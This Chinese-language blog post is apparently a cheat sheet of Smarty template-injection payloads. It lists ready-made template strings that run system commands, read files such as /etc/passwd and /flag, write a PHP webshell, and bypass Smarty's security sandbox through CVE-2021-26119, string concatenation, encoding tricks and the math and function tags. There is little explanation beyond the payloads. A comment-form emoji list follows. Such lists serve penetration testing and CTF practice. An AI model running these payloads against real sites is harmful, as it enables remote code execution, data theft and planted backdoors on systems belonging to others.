smarty模板注入

smarty模板注入

语法标签:默认使用{ }

执行php语句:

常见payload:

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}

命令执行:

{system('id')}
{exec('cat /etc/passwd')}
{shell_exec('whoami')}

文件读取(旧版本):

{include file='php://filter/convert.base64-encode/resource=/etc/passwd'}
{self::getStreamVariable("file:///etc/passwd")}  # CVE-2017-1000480
# php中'->'访问对象的属性和方法,'::'访问类的静态成员或常量

写Webshell

{Smarty_Internal_Write_File::writeFile('/path/shell.php', '<?php phpinfo(); ?>')}

沙箱绕过:

利用静态方法(CVE-2021-26119)

{$smarty.template_object->smarty->disableSecurity()->display('string:{system("id")}')}

字符串拼接

{assign var='cmd' value='sy'|cat:'stem'}{$cmd('id')}

math标签执行代码

{math equation='exec("id")'}

fetch读取文件

{fetch file="/etc/passwd"}

编码混淆

{assign var='cmd' value='s171stem'}{$cmd|replace:'\':'','y':'s'}(id)

利用{literal}标签

{literal}{/literal}{system('id')}{literal}{/literal}

动态调用

{assign var='func' value='sys'.'tem'}{$func('id')}

利用display

// 危险代码
$tpl = $_GET['data'];
$smarty->display($tpl);
//注入
?data=*/phpinfo();//

利用{function}中的name属性

string:{function name='rce(){};phpinfo();function '}{/function}

制作恶意数学字符串来运行任意 PHP 代码

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇